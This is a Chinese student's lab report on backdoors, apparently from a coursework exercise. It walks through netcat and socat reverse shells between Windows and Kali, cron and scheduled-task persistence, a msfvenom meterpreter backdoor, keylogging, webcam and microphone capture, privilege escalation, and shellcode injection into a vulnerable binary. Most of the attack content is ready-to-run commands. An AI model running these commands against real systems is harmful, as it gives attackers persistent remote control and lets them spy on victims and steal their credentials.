一、实验目标
1. 熟悉后门的概念
2. 使用netcat实现win,linux之间的后门连接
3. 掌握meterpreter的应用
4. 了解MSF POST 模块的应用
5. 学会win,linux的后门启动方式
二、预备知识
后门概念
- 所谓后门,就是不经过正常认证流程而访问系统的通道。
- 后门宿主:
- 编译器留后门
- 操作系统留后门
- 应用程序中留后门
- 潜伏于操作系统中或伪装为特定应用的专用后门程序。
后门工具
-
netcat:又名nc或ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
-
soCat:Netcat++,超级netcat工具。
任何代理、转发等功能都可以用该工具实现。 -
Meterpreter:msfvenom生成的后门可执行文件。
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。
三、实验内容
1. 使用netcat获取主机操作Shell,cron启动
2. 使用socat获取主机操作Shell,任务计划启动
3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
四、实验步骤
0. ncat学习
Windows获取Linux Shell
主机中win+R
运行cmd
,ipconfig
查看IP地址为192.168.0.106
ncat.exe -l -p 5302
主机运行ncat.exe开始监听端口5302
nc 192.168.0.106 5302 -e /bin/sh
Kali中使用ncat -e
选项执行Shell
Windows成功获取Kali的Shell
Linux获取Windows Shell
Kali中ifconfig
查看IP地址为192.168.0.108
nc -l -p 5302
Kali开始监听5302端口
ncat.exe -e cmd.exe 192.168.0.108 5302
Widows开始连接Kali运行cmd.exe
Kali成功获取Windows CMD
nc 传输数据
Wiodowsncat.exe -l 5302
Wiodows监听5302端口
Kalinc 192.168.0.106 5302
连接端口
建立连接后可以互相发送信息。
nc 传输文件
Windowsncat.exe -l 5302 > receive
监听5302端口并把数据保存到receive文件中。
Kalinc 192.168.0.106 5302 < send
连接到Windows 5302端口,发送send文件
将文件从Windows传给kali首先要将kali虚拟机的ssh服务端口打开,之后就只需使kali监听5302端口,Windows连接kali的5302端口,建立成功后,kali可以收到Windows发来的文件
1. 使用netcat获取主机操作Shell,cron启动
cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似
Windows下监听端口5302
Linux下crontab -e
+3
进入编辑模式
crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表我们可以在以下文件夹内找到相关配置文件。
/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
/etc/crontab 这个文件负责调度各种管理和维护任务。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。
在最后一行添加04 * * * * /bin/netcat 192.168.0.106 5302 -e /bin/sh
,因为现在时间为9:59分,所以我设置了04,表示每小时的第4分钟执行指令。
可以在10:04分时看到Wiodows中获得了Linux的Shell
2. 使用socat获取主机操作Shell,任务计划启动
下载socat
打开计算机管理,在任务计划程序中创建任务,填写任务名称。
新建操作,程序或脚本选择socat.exe,添加参数填写tcp-listen:5302 exec:cmd.exe,pty,stderr
,把cmd.exe绑定到端口5302,同时把cmd.exe的stderr重定向到stdout上
新建触发器,设定时间为现在时间后的几分钟。
socat - tcp:192.168.0.106:5302
在Kali中连接到主机5302端口。
时间到达设定时间后socat.exe
自启动,获取Shell成功
3. 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
在Kali中运行msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=5302 -f exe > 5302exp2_backdoor.exe
生成后门程序5302exp2_backdoor.exe
Wiodowsncat.exe -lv 5302 > 5302exp2_backdoor.exe
可以看到版本信息与当前连接状态
Kalinc 192.168.0.106 5302 < 5302exp2_backdoor.exe
发送后门程序到Windows。
Windows显示连接信息。
1.Kali中msfconsole
进入msf控制台
2.use exploit/multi/handler
使用监听模块,设置payload
3.set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload
4.set LHOST 192.168.0.108
生成后门程序时指定的IP
5.set LPORT 5302
生成后门程序时指定的端口
6.show options
查看设置信息
exploit
开始监听,在Windows中启动接收的后门程序,监听成功。
可以直接输入命令或者使用shell
获取主机Shell
4. 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
record_mic -d 5
指令可以截获一段时长5s的音频,录制完毕自动输出保存路径
webcam_snap
指令可以使用摄像头进行拍照,拍摄完毕自动输出保存路径,并自动打开图像
keyscan_start
指令可以记录下击键的过程,keyscan_dump
则用于读取击键记录
screenshot
指令可以进行截屏
getuid
指令可以查看当前用户,getsystem
指令进行提权操作
5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
下载反弹连接的Shellcode
因为我kali使用的是上次实验一结束后的快照进行本次实验,所以无需再进行环境配置。
xxd input_shellcode
查看实验一中写入的地址。
将反弹连接Shellcode放入perl -e 'print "A" x 32;print"xc0xd2xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input
重新配置msf监听
use exploit/multi/handler
,用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
,设置IP为回环地址
set LPORT 4444
,根据代码设置端口
exploit
,设置完成开始监听
(cat input;cat) | ./pwn1
再另一个终端将input输入
这时在msf控制台可以看到已经成功调取了shell
五、基础问题回答
1.例举你能想到的一个后门进入到你系统中的可能方式?
- 下载了带有后门的文件。
2.例举你知道的后门如何启动起来(win及linux)的方式?
- 绑定一个程序,程序启动同时启动了某项服务。
3.Meterpreter有哪些给你映像深刻的功能?
- 全部都很深刻,特别是把我拍得很丑的摄像头功能功能,监听键盘键入很容易就可以获取密码,搭配上截屏就能知道是什么网的,用户名是什么,很容易泄露隐私和重要数据。
4.如何发现自己有系统有没有被安装后门?
- 及时更新病毒库
- 查看端口开放情况,关闭多余端口
- 查看服务,注册表等状态。
六、实验总结与体会
本次实验基本根据视频完成,然后也切实认识到了后门的厉害。但是有些地方可能还没有完全理解,比如回环地址和4444端口的监听并不明白是为什么,提权操作应该是失败的,也不知道为什么。